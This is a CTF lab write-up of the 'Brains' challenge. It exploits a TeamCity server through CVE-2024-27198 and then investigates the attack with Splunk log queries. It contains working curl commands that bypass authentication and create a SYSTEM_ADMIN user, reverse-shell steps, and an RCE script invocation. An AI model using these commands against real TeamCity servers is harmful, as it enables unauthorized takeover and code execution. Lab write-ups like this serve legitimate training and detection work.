Brains

The city forgot to close its gate. - by Dex01, strategos and l000g1c

The following post by 0xb0b is licensed under CC BY 4.0


This challenge is a purple challenge in which we first compromise the target and then investigate our actions.

Exploit The Server!

We start by compromising the server.

Recon

We start with an Nmap scan and find three open ports. Port 22, where we have SSH, and ports 80 and 50000, where a web server is running.

On the standard port 80 we find only one page, which is under maintenance.

Unfortunately, the directory scan does not find anything conspicuous either.

We continue with the website on port 50000. Here we are greeted with a login to TeamCity. TeamCity is a continuous integration and continuous deployment (CI/CD) server developed by JetBrains. It is used to automate the process of building, testing, and deploying software. We can see that version 2023.11.3 is in use.

A further Gobuster scan on port 50000 is optional, but not necessary. The information about the version used is sufficient.

Exploit

As mentioned before, the version 2023.11.3 is in use.

Manual Exploitation

After a quick research, two corresponding CVEs could be found. CVE-2024-27198 and CVE-2024-27199. Both provide an authentication bypass, which then allows arbitrary plugins to be uploaded with the gained access to gain remote code execution.

A detailed explanation could also be found here:

To add a user with the administrator role manually, the following payload could be used, but it still needs to be adapted for our use.

curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"

What is happening here?

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:

    • /hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:

    • ?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:

    • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:

/hax?jsp=/app/rest/server;.jsp

By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
curl -ik 'http://brains.thm:50000/hax?jsp=/app/rest/server;.jsp'

We then adapt the payload and add our user 0xb0b.

curl -ik http://brains.thm:50000/hax?jsp=/app/rest/users\;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"0xb0b\", \"password\": \"0xb0b\", \"email\": \"0xb0b\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"

We should now should be able to log in as 0xb0b.

And we have access to the dashboard as admin.

From here we could take the following steps to get a reverse shell. But unfortunately there is no agent installed that we could use for this:

  1. Login as admin user.

  2. Create a new project in admin dashboard.

  3. Click "Manual" tab and fill required fields.

  4. A new project is created.

  5. In the project home, create a Build Configurations.

  6. In the build configuration page, click "Build Steps" on the left menus.

  7. Add build step.

  8. Select "Command Line" in Runner type.

  9. Put a Python reverse shell script in the "Custom script".

  10. Start listener in local machine.

  11. Click "Run" button in the build page.

  12. We should get a shell in terminal.

Automatically Approach

We could now craft and upload a plugin ourselves. Or use a script that does all this automatically: Create an admin user, upload a plugin and run it for remote code execution. We can find the following:

We install its requirements.

And run the script on the target. We receive a web shell. Which we want to upgrade to a more interactive shell.

python3 CVE-2024-27198-RCE.py -t http://brains.thm:50000 

To generate a payload, we use revshell.com and choose our favorite one using busybox.

We set up a listener on our desired port on our attacker machine and run the payload in the web shell.

We receive a connection back and upgrade the shell. We are the user ubuntu, and find the flag in the home directory of the user.

Let's Investigate

We switch off the machine and move on to task two with a new machine. Here we examine the steps of the attacker who carried out this exploit using Splunk and look at the various logs on the machine to understand what happened.

What is the name of the backdoor user which was created on the server after exploitation?

To see which user was added after the exploit was executed, we can check the /var/log/auth.log. In this, we only have to look for the entries new user. One in particular stands out here, which was created on 04 July 2024.

index=* "new user"

What is the name of the malicious-looking package installed on the server?

The next question is about subsequently installed packages on the machine. Here we must first limit our time period. We select the time period in which the user was created. We find out which packages were installed in /var/log/dpkg.log. After we have applied the time period, we find two entries, both of which are conspicuous.

index=* source="/var/log/dpkg.log" "installed"

What is the name of the plugin installed on the server after successful exploitation?

The last question is about the plugin that was installed. This is the plugin that previously gave us RCE. So we are talking about the TeamCity plugin. We can trace this in the log /opt/teamcity/TeamCity/logs/teamcity-activities.log. We restrict the time period again.

index=* source="/opt/teamcity/TeamCity/logs/teamcity-activities.log"

Last updated